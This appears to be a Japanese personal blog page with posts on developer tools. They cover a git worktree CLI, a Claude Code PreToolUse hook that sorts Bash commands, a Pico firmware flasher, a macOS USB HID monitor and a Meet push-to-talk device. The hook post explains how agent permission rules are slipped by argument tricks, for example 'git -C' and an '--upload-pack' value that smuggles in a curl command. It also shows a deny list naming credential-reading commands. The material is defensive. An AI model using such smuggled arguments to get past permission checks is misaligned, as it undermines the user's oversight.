あんパン

こしあん派

git worktreeをbranchと同等に扱うための小さなCLIを作っている

ちょっとした不具合をこまごま直すのにworktreeを使いたいが、branchに慣れきってしまっているためbranchのことしか考えたくない。worktreeの概念を隠蔽できるように、worktreeとbranchを常に対で扱うミニマルなCLIを作っている。

github.com

まあしかしこの手のツールは既に世の中にごまんと存在していて、もう何千番煎じだよって感じなので、各位既に手に馴染んだツールがあることと思う。とにかくできることを増やしすぎないように作っているので、かゆいところに手は届かないかもしれないが、worktreeの作成/移動/削除/リストくらいは整っているので、並列で複数の作業をするのにはことたりると思う。

初期設定は

$ brew install masawada/tap/eda
$ echo "eval \"\$(eda init - zsh)\"" >> .zshrc # zsh
$ echo "eval \"\$(eda init - bash)\"" >> .bashrc # bash

くらい。

あとは、たぶん他のツールにもありそうだけど、単体でClaude CodeのWorktreeCreateやWorktreeRemove hookに登録できる。CLAUDE.mdに以下のような文を仕込んでて、なにもせずとも手動でworktreeを作るときと同じ場所にworktreeを作って作業を開始してくれる。

## Git workflow

- Work in a worktree, one branch per task; never in the primary checkout.
- Enter worktrees via EnterWorktree or subagent `isolation: worktree`.
- New worktrees branch from the current HEAD; to branch from elsewhere, enter that branch's worktree first.
- cd into the worktree to run commands; no `git -C` / `--git-dir` / `GIT_WORK_TREE` across worktrees.
- Run parallelizable tasks in worktree-isolated subagents.

worktreeになかなか馴染めないという方はぜひ使ってみてください。

Claude CodeのPreToolUseでBashを捕捉してコマンドの実行可否を仕分ける

Claude Codeでauto modeがデフォルトになったので、時流にのるべくauto modeとsandboxを有効化した。おおむねうまく動いているのだが、Claude Codeのpermissionはとにかく機構がザルであり、たとえば Bash(git push *) をaskにしておいたとしても git -C /path/to/repo push -u origin main のようなコマンドを実行されるとaskにひっかからず、auto mode classifierによってapproveされてしまう*1。こういう調子で、pushしてほしくないのにpushされたり、いつのまにかissueにコメントを書かれたりする事故が発生しつつあった。一方で、これらのコマンドをdenyしたいかというとそういうわけでもなく、手でぽちぽちするのは面倒なので、使って問題ない場面では使ってほしい。

つまりgitやghなど、自分のマシンを超えて外部に副作用を発生させうる特定のコマンドについては、auto mode下であってもallow, denyの両方にひっかからなければaskにしてほしい。こういった挙動を実現すべく、PreToolUseのHookでBashを捕捉してコマンドを仕分けるツールを作った。

github.com

gitやghなどサブコマンドを持つツールでの利用を想定していて、サブコマンド単位でallow, denyルールを書ける。ルールにないサブコマンドはaskにフォールバックする。そもそもルールにないコマンドについてはすべてClaude Code側のpermissionsに移譲する。こうすると、厳密に見たいコマンドのサブコマンドだけmetsukeで見て、それ以外はauto mode classifierに任せることができる。ちなみにPreToolUse内でallowしてしまうとClaude Codeのpermissionsを素通りして実行されてしまうので、metsukeでallow判定の場合は何も返さずClaude Code側の判断が入るようにしている。

なおClaudeが敵対的になったときまでは防止してくれず、あくまで意図しない事故防止層という立てつけ。たとえば git ls-remote をallowしている場合に git ls-remote --upload-pack="curl -s https://example.com > /tmp/example; git-upload-pack" . みたいなのを実行されるのは防げない。

既に同様のツールはいくつか存在していたが、いずれも正規表現ベースでコマンドを分解するようになっていた。今回実装したのはmvdan/shでparseしてASTに起こして解析するグッズ。多少複雑なコマンドもいい感じに見てくれる、はず。

使い方は簡単で、brew installなりgo installなりで手元に入れて、 settings.json に以下のような記述を足すとよい。

{
  "hooks": {
    "PreToolUse": [
      {
        "hooks": [
          {
            "command": "/path/to/bin/metsuke --config /path/to/config",
            "type": "command"
          }
        ],
        "matcher": "Bash"
      }
    ]
  },

}

設定はお好きなところに置いてください。こういう調子で書けます。

deny = [
  "git credential",
  "gh auth token",
]

allow = [
  "git status",
  "git log",
  "git diff",
  "git show",
  "git blame",
...
]

いやしかしClaude Codeはプロダクトとしての品質が底抜けに悪い印象で、もうCodexに乗り換えてしまうかもしれないと思っている。RemoteControlを有効にすると勝手にSessionのURLをcommitメッセージに書かれたり、auto modeのときは全部Bashでやれってシステムプロンプトが導入されたり*2、とにかくやんちゃが過ぎている。

*1:これに関しては Bash(git * push *) も登録しておけば解決するのだが、そんなものをいちいち書きたくない

*2:https://github.com/anthropics/claude-code/issues/87575 これにより/rewindが壊れたり、ファイル編集がsedやpythonで行われたりしている

Raspberry Piに接続されたRaspberry Pi Pico / Pico2にuf2を効率的に書き込む補助ツールを作った

会社でBoard43というRP2350A互換ボードを作り、量産して配布するにあたってファームウェアを書き込む必要があった。

blog.smartbank.co.jp

今回、ファームウェアは2種類に分けていて、動作確認用のCで書いたものと、実際に動かすためのカスタムR2P2(PicoRuby)ビルドという構成。動作確認用でLED、ボタン、ブザーなどすべての構成要素を検証して、本番用のR2P2を書き込む流れにしたかった。1枚ずつちまちまコマンドを書いて焼いているといつまで経っても終わらないのは明白だったので、1ボタンで焼ける仕組みが欲しかった。ので作った。

github.com

BOOTSELモードで接続されたRaspberry Pi Pico / Pico 2 / RP2***ボードすべてに対して、GPIOのLOWをトリガーにファームウェアを書き込んでくれる。GP27がGNDと短絡したらdebug.uf2、GP17がGNDと短絡したらproduction.uf2を書き込む、みたいな感じ。

設定はtomlで書ける。

[general]
log_level = "info"           # debug, info, warn, error
poll_interval_ms = 500       # USB device polling interval (ms)

[[pin]]
gpio = 17
uf2_path = "/home/pi/firmware/production.uf2"
label = "Production firmware"

[[pin]]
gpio = 27
uf2_path = "/home/pi/firmware/debug.uf2"
label = "Debug firmware"

実際に使ってみると、とにかく高速に焼けるのでかなり便利だった。これがなければ発送の締切に間に合ってなかっただろう。。。

Raspberry Piに大量のボードを繋ぐと、おそらく電源がネックになって4台が限界だった。8台だと書き込んでる最中に落ちちゃってうまく書き込めないということが頻発した。バスパワーじゃなくてセルフパワーのUSBハブがあるといいかもしれない。また、ときおり書き込みに失敗するのでログを監視する画面はあると便利。

こういう調子で量産することがなければもう使うことはないような気がするけど、そんな機会は果たしてくるだろうか……?

macOSでUSB HIDのReportを監視するツールを作った

masawada.hatenablog.jp

Gotanda.rbで前述のこれを発表するときに、USB HIDのReportの中身みたいな内容の話をした。話すにあたってLinuxの usbhid-dump コマンド*1と同様のUSB HID Report観察ツールをmacOSで探したところ、意外とどこにもなかったので、こちらもClaude CodeにSwiftで書かせた。当日は時間がなかったのでReportを監視するだけのツールとして作ったけど、あらためてDevice DescriptorやReport Descriptorも出力できるコマンドとして作り直して公開した。SwiftでCLIツールを作ったのは初めてだったが、ArgumentParserがかなり使いやすいし、素朴にSwiftの書き味もいいので結構アリな気がする。

github.com

この手の解析ツールは公式に提供されていてもおかしくないツールだと思うものの、入力監視の権限が必要になるし実質的にキーロガーのような振舞いをするため、なるべくセキュアにやっていきたい都合上こういうのは公開できないのだろう。利用する上では注意してね、ということをrepoのREADMEにも書いている。

このツールを使うとMacBookに組込まれているおもしろセンサーの値も取れることが分かった。たとえば、画面のヒンジの角度がどれくらいか、というのもUSB HIDで取ることができる。何に使うのかって感じだけど、これをもとに画面の明るさや車両モーションキュー*2の動かし具合などを調節しているのかもしれない。

今後Raspberry Pi Picoでおもしろツールを生成するにあたって、かなり愛用するであろうツールが作れたので満足している。

Google Meetでボタンを押している間だけミュートを解除する物理デバイスを作った

Google MeetにはUSBデバイスでミュートスイッチを操作する機能が存在する。一般には会議用スピーカーのミュートスイッチに連動してMeetのミュートをON/OFFする機能と思われる。

workspaceupdates.googleblog.com

Call control will work with most USB telephony peripherals; however, the experience may differ from device to device.

書きぶりからして、USB HIDのReport DescriptorにTelephony Usageが含まれているデバイスを認識させればこの機能を利用できそう。これでPush to Talkを実現する物理デバイスができないか、ということを考えていた(というか2,3年くらい前に考えていたけど、気持ちが高まらず優先順としては低めだった)。

1月のGotanda.rbで急遽なにか話すことになり、ふと思い出して30分くらいでClaude Codeにガッと書かせたらできたので、これで発表した。当日のコードはごちゃついていたので、その後整理した結果できたのがこれ。

github.com

akizukidenshi.com

Raspberry Pi PicoまたはRaspberry Pi Pico 2を買ってきてPCに繋いで、認識されたディスクにファームウェアをドラッグアンドドロップすれば完成。Google Meetの設定から通話コントロールのデバイスを設定するだけで使える。Raspberry Pi Pico 2上では動作確認していて、Picoもどこかに実機があるけど発掘できていないので確認していない。たぶん動くはず。

通話コントロールの設定からデバイスを接続する

BOOTSELボタンを押している間だけLEDが光ってミュート解除されるようになる。

BOOTSELボタンを押すと喋れるようになる

とはいえリモートワークだとわざわざミュートを切り替えたいことがあんまりない。同じ会議室にいて音声統合しているケースだと他のPCに自分の声が拾われて聞きづらくなってしまうことがあるから、全員にこのボタンを持ってもらったら解決しそうだけど、それは現実的ではなかろう。

Claude CodeなりCodexなりにうまくコンテキストを渡せばRaspberry Pi Pico向けのファームウェアであっても十分に動くものを作ってもらえる、というのは収穫だったように思う。